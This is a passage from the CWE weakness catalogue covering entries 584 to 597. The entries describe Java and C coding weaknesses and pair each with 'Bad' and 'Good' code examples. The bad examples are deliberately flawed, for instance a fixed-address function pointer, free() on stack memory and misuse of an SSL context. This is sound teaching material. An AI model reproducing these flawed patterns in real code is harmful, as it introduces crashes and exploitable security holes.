## CWE-584: Return Inside Finally Block

**Weakness ID :** 584

**Structure :** Simple

**Abstraction :** Base

### Description

The code has a return statement inside a finally block, which will cause any thrown exception in the try block to be discarded.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		705	Incorrect Control Flow Scoping	1437

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		389	Error Conditions, Return Values, Status Codes	2115

### Common Consequences

Scope	Impact	Likelihood
Other	Alter Execution Logic	

### Potential Mitigations

#### Phase: Implementation

Do not use a return statement inside the finally block. The finally block should have "cleanup" code.

### Demonstrative Examples

#### Example 1:

In the following code excerpt, the `IllegalArgumentException` will never be delivered to the caller. The finally block will cause the exception to be discarded.

*Example Language: Java*

*(Bad)*

```
try {
  ...
  throw IllegalArgumentException();
}
```

```

}
finally {
    return r;
}

```

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	C	851	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)	844	2158
MemberOf	C	961	SFP Secondary Cluster: Incorrect Exception Behavior	888	2192
MemberOf	C	1141	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 07. Exceptional Behavior (ERR)	1133	2241

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	ERR04-J		Do not complete abruptly from a finally block
The CERT Oracle Secure Coding Standard for Java (2011)	ERR05-J		Do not let checked exceptions escape from a finally block
Software Fault Patterns	SFP6		Incorrect Exception Behavior

## CWE-585: Empty Synchronized Block

**Weakness ID** : 585  
**Structure** : Simple  
**Abstraction** : Base

### Description

The product contains an empty synchronized block.

### Extended Description

An empty synchronized block does not actually accomplish any synchronization and may indicate a troubled section of code. An empty synchronized block can occur because code no longer needed within the synchronized block is commented out without removing the synchronized block.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	E	1071	Empty Code Block	1773

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	557	Concurrency Issues	2122

### Weakness Ordinalities

Indirect :

### Applicable Platforms

**Language :** Java (Prevalence = Undetermined)

### Common Consequences

Scope	Impact	Likelihood
Other	Other	
	<p><i>An empty synchronized block will wait until nobody else is using the synchronizer being specified. While this may be part of the desired behavior, because you haven't protected the subsequent code by placing it inside the synchronized block, nothing is stopping somebody else from modifying whatever it was you were waiting for while you run the subsequent code.</i></p>	

### Potential Mitigations

#### Phase: Implementation

When you come across an empty synchronized statement, or a synchronized statement in which the code has been commented out, try to determine what the original intentions were and whether or not the synchronized block is still necessary.

### Demonstrative Examples

#### Example 1:

The following code attempts to synchronize on an object, but does not execute anything in the synchronized block. This does not actually accomplish anything and may be a sign that a programmer is wrestling with synchronization but has not yet achieved the result they intend.

Example Language: Java

(Bad)

```
synchronized(this) { }
```

Instead, in a correct usage, the synchronized statement should contain procedures that access or modify data that is exposed to multiple threads. For example, consider a scenario in which several threads are accessing student records at the same time. The method which sets the student ID to a new value will need to make sure that nobody else is accessing this data at the same time and will require synchronization.

Example Language:

(Good)

```
public void setID(int ID){
    synchronized(this){
        this.ID = ID;
    }
}
```

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		987	SFP Secondary Cluster: Multiple Locks/Unlocks	888	2205

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP21		Multiple locks/unlocks

## References

[REF-478]"Intrinsic Locks and Synchronization (in Java)". < <http://java.sun.com/docs/books/tutorial/essential/concurrency/locksync.html> >.

## CWE-586: Explicit Call to Finalize()

**Weakness ID** : 586  
**Structure** : Simple  
**Abstraction** : Variant

### Description

The product makes an explicit call to the finalize() method from outside the finalizer.



### Extended Description

While the Java Language Specification allows an object's finalize() method to be called from outside the finalizer, doing so is usually a bad idea. For example, calling finalize() explicitly means that finalize() will be called more than once: the first time will be the explicit call and the last time will be the call that is made after the object is garbage collected.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1076	Insufficient Adherence to Expected Conventions	1778
PeerOf		675	Multiple Operations on Resource in Single-Operation Context	1393

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1006	Bad Coding Practices	2215

### Weakness Ordinalities

**Primary** :

### Applicable Platforms

**Language** : Java (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	
Other	Quality Degradation	

### Potential Mitigations

**Phase: Implementation**

**Phase: Testing**

Do not make explicit calls to finalize(). Use static analysis tools to spot such instances.

### Demonstrative Examples



**Example 1:**

The following code fragment calls finalize() explicitly:

Example Language: Java

(Bad)

```
// time to clean up
widget.finalize();
```

**MemberOf Relationships**

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	850	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 7 - Methods (MET)	844	2158
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	2213
MemberOf	C	1140	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 06. Methods (MET)	1133	2240

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	MET12-J		Do not use finalizers
Software Fault Patterns	SFP3		Use of an improper API

**CWE-587: Assignment of a Fixed Address to a Pointer**

**Weakness ID :** 587

**Structure :** Simple

**Abstraction :** Base

**Description**

The product sets a pointer to a specific address other than NULL or 0.

**Extended Description**

Using a fixed address is not portable, because that address will probably not be valid in all environments or platforms.

**Relationships**

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	E	344	Use of Invariant Value in Dynamically Changing Context	804
ChildOf	C	758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior	1472

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	465	Pointer Issues	2121

## Weakness Ordinalities

**Indirect :**

### Applicable Platforms

**Language :** C (Prevalence = Undetermined)

**Language :** C++ (Prevalence = Undetermined)

**Language :** C# (Prevalence = Undetermined)

**Language :** Assembly (Prevalence = Undetermined)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Execute Unauthorized Code or Commands	
Confidentiality Availability	<i>If one executes code at a known location, an attacker might be able to inject code there beforehand.</i>	
Availability	DoS: Crash, Exit, or Restart Reduce Maintainability Reduce Reliability  <i>If the code is ported to another platform or environment, the pointer is likely to be invalid and cause a crash.</i>	
Confidentiality Integrity	Read Memory Modify Memory  <i>The data at a known pointer location can be easily read or influenced by an attacker.</i>	

### Potential Mitigations

#### Phase: Implementation

Never set a pointer to a fixed address.

### Demonstrative Examples

#### Example 1:

This code assumes a particular function will always be found at a particular address. It assigns a pointer to that address and calls the function.

*Example Language: C*

*(Bad)*

```
int (*pt2Function) (float, char, char)=0x08040000;
int result2 = (*pt2Function) (12, 'a', 'b');
// Here we can inject code to execute.
```

The same function may not always be found at the same memory address. This could lead to a crash, or an attacker may alter the memory at the expected address, leading to arbitrary code execution.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	738	CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)	734	2135
MemberOf	<b>C</b>	872	CERT C++ Secure Coding Section 04 - Integers (INT)	868	2168
MemberOf	<b>V</b>	884	CWE Cross-section	884	2327

Nature	Type	ID	Name	V	Page
MemberOf		998	SFP Secondary Cluster: Glitch in Computation	888	2212
MemberOf		1158	SEI CERT C Coding Standard - Guidelines 04. Integers (INT)	1154	2249

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	INT36-C	Imprecise	Converting a pointer to integer or integer to pointer
Software Fault Patterns	SFP1		Glitch in computation

## CWE-588: Attempt to Access Child of a Non-structure Pointer

**Weakness ID :** 588

**Structure :** Simple

**Abstraction :** Variant

### Description

Casting a non-structure type to a structure type and accessing a field can lead to memory access errors or data corruption.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior	1472
ChildOf		704	Incorrect Type Conversion or Cast	1435

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		465	Pointer Issues	2121
MemberOf		569	Expression Issues	2123

### Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Memory <i>Adjacent variables in memory may be corrupted by assignments performed on fields after the cast.</i>	
Availability	DoS: Crash, Exit, or Restart <i>Execution may end due to a memory access error.</i>	

### Potential Mitigations

#### Phase: Requirements

The choice could be made to use a language that is not susceptible to these issues.

#### Phase: Implementation

Review of type casting operations can identify locations where incompatible types are cast.

### Demonstrative Examples

### Example 1:

The following example demonstrates the weakness.

Example Language: C

(Bad)

```
struct foo
{
    int i;
}
...
int main(int argc, char **argv)
{
    *foo = (struct foo *)main;
    foo->i = 2;
    return foo->i;
}
```

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		971	SFP Secondary Cluster: Faulty Pointer Use	888	2198

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP7		Faulty Pointer Use

## CWE-589: Call to Non-ubiquitous API

**Weakness ID :** 589

**Structure :** Simple

**Abstraction :** Variant

### Description

The product uses an API function that does not exist on all versions of the target platform. This could cause portability problems or inconsistencies that allow denial of service or other consequences.

### Extended Description

Some functions that offer security features supported by the OS are not available on all versions of the OS in common use. Likewise, functions are often deprecated or made obsolete for security reasons and should not be used.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		474	Use of Function with Inconsistent Implementations	1067

### Weakness Ordinalities

**Indirect :**

## Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

## Potential Mitigations

### Phase: Implementation

Always test your code on any platform on which it is targeted to run on.

### Phase: Testing

Test your code on the newest and oldest platform on which it is targeted to run on.

### Phase: Testing

Develop a system to test for API functions that are not portable.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	850	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 7 - Methods (MET)	844	2158
MemberOf	C	858	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 15 - Serialization (SER)	844	2162
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	2213
MemberOf	C	1140	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 06. Methods (MET)	1133	2240

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	MET02-J		Do not use deprecated or obsolete classes or methods
The CERT Oracle Secure Coding Standard for Java (2011)	SER00-J		Maintain serialization compatibility during class evolution
Software Fault Patterns	SFP3		Use of an improper API

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
96	Block Access to Libraries

## CWE-590: Free of Memory not on the Heap

Weakness ID : 590

Structure : Simple

Abstraction : Variant

### Description

The product calls free() on a pointer to memory that was not allocated using associated heap allocation functions such as malloc(), calloc(), or realloc().

### Extended Description

When free() is called on an invalid pointer, the program's memory management data structures may become corrupted. This corruption can cause the program to crash or, in some circumstances, an attacker may be able to cause free() to operate on controllable memory locations to modify critical program variables or execute code.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	Ⓧ	762	Mismatched Memory Management Routines	1485
CanPrecede	Ⓛ	123	Write-what-where Condition	310

## Common Consequences

Scope	Impact	Likelihood
Integrity	Execute Unauthorized Code or Commands	
Confidentiality	Modify Memory	
Availability	<i>There is the potential for arbitrary code execution with privileges of the vulnerable program via a "write, what where" primitive. If pointers to memory which hold user information are freed, a malicious user will be able to write 4 bytes anywhere in memory.</i>	

## Potential Mitigations

### Phase: Implementation

Only free pointers that you have called malloc on previously. This is the recommended solution. Keep track of which pointers point at the beginning of valid chunks and free them only once.

### Phase: Implementation

Before freeing a pointer, the programmer should make sure that the pointer was previously allocated on the heap and that the memory belongs to the programmer. Freeing an unallocated pointer will cause undefined behavior in the program.

### Phase: Architecture and Design

*Strategy = Libraries or Frameworks*

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, glibc in Linux provides protection against free of invalid pointers.

### Phase: Architecture and Design

Use a language that provides abstractions for memory allocation and deallocation.

### Phase: Testing

Use a tool that dynamically detects memory management problems, such as valgrind.

## Demonstrative Examples

### Example 1:

In this example, an array of record\_t structs, bar, is allocated automatically on the stack as a local variable and the programmer attempts to call free() on the array. The consequences will vary based on the implementation of free(), but it will not succeed in deallocating the memory.

Example Language: C

(Bad)

```
void foo(){
    record_t bar[MAX_SIZE];
    /* do something interesting with bar */
    ...
    free(bar);
}
```

This example shows the array allocated globally, as part of the data segment of memory and the programmer attempts to call free() on the array.

Example Language: C

(Bad)

```
record_t bar[MAX_SIZE]; //Global var
void foo(){
    /* do something interesting with bar */
    ...
    free(bar);
}
```

Instead, if the programmer wanted to dynamically manage the memory, malloc() or calloc() should have been used.

Example Language:

(Good)

```
void foo(){
    record_t *bar = (record_t*)malloc(MAX_SIZE*sizeof(record_t));
    /* do something interesting with bar */
    ...
    free(bar);
}
```

Additionally, you can pass global variables to free() when they are pointers to dynamically allocated memory.

Example Language:

(Good)

```
record_t *bar; //Global var
void foo(){
    bar = (record_t*)malloc(MAX_SIZE*sizeof(record_t));
    /* do something interesting with bar */
    ...
    free(bar);
}
```

## Affected Resources

- Memory

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	742	CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)	734	2139
MemberOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	2170
MemberOf	C	969	SFP Secondary Cluster: Faulty Memory Release	888	2197



Nature	Type	ID	Name	V	Page
MemberOf	C	1162	SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)	1154	2251
MemberOf	C	1172	SEI CERT C Coding Standard - Guidelines 51. Microsoft Windows (WIN)	1154	2257

## Notes

### Other

In C++, if the new operator was used to allocate the memory, it may be allocated with the malloc(), calloc() or realloc() family of functions in the implementation. Someone aware of this behavior might choose to map this problem to CWE-590 or to its parent, CWE-762, depending on their perspective.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	MEM34-C	Exact	Only free memory allocated dynamically
CERT C Secure Coding	WIN30-C	Imprecise	Properly pair allocation and deallocation functions
Software Fault Patterns	SFP12		Faulty Memory Release

## References

[REF-480]"Valgrind". < <http://valgrind.org/> >.

## CWE-591: Sensitive Data Storage in Improperly Locked Memory

**Weakness ID** : 591

**Structure** : Simple

**Abstraction** : Variant

### Description

The product stores sensitive data in memory that is not locked, or that has been incorrectly locked, which might cause the memory to be written to swap files on disk by the virtual memory manager. This can make the data more accessible to external actors.

### Extended Description

On Windows systems the VirtualLock function can lock a page of memory to ensure that it will remain present in memory and not be swapped to disk. However, on older versions of Windows, such as 95, 98, or Me, the VirtualLock() function is only a stub and provides no protection. On POSIX systems the mlock() call ensures that a page will stay resident in memory but does not guarantee that the page will not appear in the swap. Therefore, it is unsuitable for use as a protection mechanism for sensitive data. Some platforms, in particular Linux, do make the guarantee that the page will not be swapped, but this is non-standard and is not portable. Calls to mlock() also require supervisor privilege. Return values for both of these calls must be checked to ensure that the lock operation was actually successful.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	ⓔ	413	Improper Resource Locking	950

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data Read Memory  <i>Sensitive data that is written to a swap file may be exposed.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

Identify data that needs to be protected from swapping and choose platform-appropriate protection mechanisms.

#### Phase: Implementation

Check return values to ensure locking operations are successful.

### Affected Resources

- Memory

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	ⓐ	729	OWASP Top Ten 2004 Category A8 - Insecure Storage	711	2131
MemberOf	ⓐ	742	CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)	734	2139
MemberOf	ⓐ	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	2170
MemberOf	ⓐ	963	SFP Secondary Cluster: Exposed Data	888	2193

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A8	CWE More Specific	Insecure Storage
CERT C Secure Coding	MEM06-C		Ensure that sensitive data is not written out to disk
Software Fault Patterns	SFP23		Exposed Data

## CWE-593: Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created

**Weakness ID** : 593

**Structure** : Simple

**Abstraction** : Variant

### Description

The product modifies the SSL context after connection creation has begun.

### Extended Description

If the program modifies the SSL\_CTX object after creating SSL objects from it, there is the possibility that older SSL objects created from the original context could all be affected by that change.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1390	Weak Authentication	2087
ChildOf		666	Operation on Resource in Wrong Phase of Lifetime	1374

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1010	Authenticate Actors	2217

## Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism <i>No authentication takes place in this process, bypassing an assumed protection of encryption.</i>	
Confidentiality	Read Application Data <i>The encrypted communication between a user and a trusted host may be subject to a sniffing attack.</i>	

## Potential Mitigations

### Phase: Architecture and Design

Use a language or a library that provides a cryptography framework at a higher level of abstraction.

### Phase: Implementation

Most SSL\_CTX functions have SSL counterparts that act on SSL-type objects.

### Phase: Implementation

Applications should set up an SSL\_CTX completely, before creating SSL objects from it.

## Demonstrative Examples

### Example 1:

The following example demonstrates the weakness.

*Example Language: C*

*(Bad)*

```
#define CERT "secret.pem"
#define CERT2 "secret2.pem"
int main(){
    SSL_CTX *ctx;
    SSL *ssl;
    init_OpenSSL();
    seed_prng();
    ctx = SSL_CTX_new(SSLv23_method());
    if (SSL_CTX_use_certificate_chain_file(ctx, CERT) != 1)
        int_error("Error loading certificate from file");
    if (SSL_CTX_use_PrivateKey_file(ctx, CERT, SSL_FILETYPE_PEM) != 1)
        int_error("Error loading private key from file");
```

```

if (!(ssl = SSL_new(ctx)))
    int_error("Error creating an SSL context");
if ( SSL_CTX_set_default_passwd_cb(ctx, "new default password" != 1))
    int_error("Doing something which is dangerous to do anyways");
if (!(ssl2 = SSL_new(ctx)))
    int_error("Error creating an SSL context");
}

```

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	948	SFP Secondary Cluster: Digital Certificate	888	2188

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
94	Adversary in the Middle (AiTM)

## CWE-594: J2EE Framework: Saving Unserializable Objects to Disk

**Weakness ID** : 594

**Structure** : Simple

**Abstraction** : Variant

### Description

When the J2EE container attempts to write unserializable objects to disk there is no guarantee that the process will complete successfully.

### Extended Description

In heavy load conditions, most J2EE application frameworks flush objects to disk to manage memory requirements of incoming requests. For example, session scoped objects, and even application scoped objects, are written to disk when required. While these application frameworks do the real work of writing objects to disk, they do not enforce that those objects be serializable, thus leaving the web application vulnerable to crashes induced by serialization failure. An attacker may be able to mount a denial of service attack by sending enough requests to the server to force the web application to save objects to disk.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1444

### Weakness Ordinalities

**Indirect** :

**Primary** :

### Applicable Platforms

**Language** : Java (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data  <i>Data represented by unserializable objects can be corrupted.</i>	
Availability	DoS: Crash, Exit, or Restart  <i>Non-serializability of objects can lead to system crash.</i>	

## Potential Mitigations

### Phase: Architecture and Design

### Phase: Implementation

All objects that become part of session and application scope must implement the `java.io.Serializable` interface to ensure serializability of containing objects.

## Demonstrative Examples

### Example 1:

In the following Java example, a Customer Entity JavaBean provides access to customer information in a database for a business application. The Customer Entity JavaBean is used as a session scoped object to return customer information to a Session EJB.

*Example Language: Java*

*(Bad)*

```
@Entity
public class Customer {
    private String id;
    private String firstName;
    private String lastName;
    private Address address;
    public Customer() {
    }
    public Customer(String id, String firstName, String lastName) {...}
    @Id
    public String getCustomerId() {...}
    public void setCustomerId(String id) {...}
    public String getFirstName() {...}
    public void setFirstName(String firstName) {...}
    public String getLastName() {...}
    public void setLastName(String lastName) {...}
    @OneToOne()
    public Address getAddress() {...}
    public void setAddress(Address address) {...}
}
```

However, the Customer Entity JavaBean is an unserialized object which can cause serialization failure and crash the application when the J2EE container attempts to write the object to the system. Session scoped objects must implement the `Serializable` interface to ensure that the objects serialize properly.

*Example Language: Java*

*(Good)*

```
public class Customer implements Serializable {...}
```

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	2212

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP1		Glitch in computation

## CWE-595: Comparison of Object References Instead of Object Contents

**Weakness ID** : 595

**Structure** : Simple

**Abstraction** : Variant

### Description

The product compares object references instead of the contents of the objects themselves, preventing it from detecting equivalent objects.

### Extended Description

For example, in Java, comparing objects using == usually produces deceptive results, since the == operator compares object references rather than values; often, this means that using == for strings is actually comparing the strings' references, not their values.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	B	1025	Comparison Using Wrong Factors	1734
ParentOf	V	597	Use of Wrong Operator in String Comparison	1258

*Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)*

Nature	Type	ID	Name	Page
ParentOf	V	597	Use of Wrong Operator in String Comparison	1258
ParentOf	B	1097	Persistent Storable Data Element without Associated Comparison Control Element	1797

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	569	Expression Issues	2123

### Applicable Platforms

**Language** : Java (Prevalence = Undetermined)

**Language** : JavaScript (Prevalence = Undetermined)

**Language** : PHP (Prevalence = Undetermined)

**Language** : Not Language-Specific (Prevalence = Undetermined)

### Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

Scope	Impact	Likelihood
	<i>This weakness can lead to erroneous results that can cause unexpected application behaviors.</i>	

## Potential Mitigations

### Phase: Implementation

In Java, use the equals() method to compare objects instead of the == operator. If using ==, it is important for performance reasons that your objects are created by a static factory, not by a constructor.

## Demonstrative Examples

### Example 1:

In the example below, two Java String objects are declared and initialized with the same string values. An if statement is used to determine if the strings are equivalent.

*Example Language: Java*

*(Bad)*

```
String str1 = new String("Hello");
String str2 = new String("Hello");
if (str1 == str2) {
    System.out.println("str1 == str2");
}
```

However, the if statement will not be executed as the strings are compared using the "==" operator. For Java objects, such as String objects, the "==" operator compares object references, not object values. While the two String objects above contain the same string values, they refer to different object references, so the System.out.println statement will not be executed. To compare object values, the previous code could be modified to use the equals method:

*Example Language:*

*(Good)*

```
if (str1.equals(str2)) {
    System.out.println("str1 equals str2");
}
```

### Example 2:

In the following Java example, two BankAccount objects are compared in the isSameAccount method using the == operator.

*Example Language: Java*

*(Bad)*

```
public boolean isSameAccount(BankAccount accountA, BankAccount accountB) {
    return accountA == accountB;
}
```

Using the == operator to compare objects may produce incorrect or deceptive results by comparing object references rather than values. The equals() method should be used to ensure correct results or objects should contain a member variable that uniquely identifies the object.

The following example shows the use of the equals() method to compare the BankAccount objects and the next example uses a class get method to retrieve the bank account number that uniquely identifies the BankAccount object to compare the objects.

*Example Language: Java*

*(Good)*

```
public boolean isSameAccount(BankAccount accountA, BankAccount accountB) {
    return accountA.equals(accountB);
}
```



## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	C	847	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 4 - Expressions (EXP)	844	2156
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	977	SFP Secondary Cluster: Design	888	2200
MemberOf	C	1136	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 02. Expressions (EXP)	1133	2238
MemberOf	C	1306	CISQ Quality Measures - Reliability	1305	2276

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	EXP02-J		Use the two-argument Arrays.equals() method to compare the contents of arrays
The CERT Oracle Secure Coding Standard for Java (2011)	EXP02-J		Use the two-argument Arrays.equals() method to compare the contents of arrays
The CERT Oracle Secure Coding Standard for Java (2011)	EXP03-J		Do not use the equality operators when comparing values of boxed primitives

## References

[REF-954]Mozilla MDN. "Equality comparisons and sameness". < [https://developer.mozilla.org/en-US/docs/Web/JavaScript/Equality\\_comparisons\\_and\\_sameness](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Equality_comparisons_and_sameness) >.2017-11-17.

## CWE-597: Use of Wrong Operator in String Comparison

**Weakness ID** : 597

**Structure** : Simple

**Abstraction** : Variant

### Description

The product uses the wrong operator when comparing a string, such as using "==" when the .equals() method should be used instead.

### Extended Description

In Java, using == or != to compare two strings for equality actually compares two objects for equality rather than their string values for equality. Chances are good that the two references will never be equal. While this weakness often only affects program correctness, if the equality is used for a security decision, the unintended comparison result could be leveraged to affect program security.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

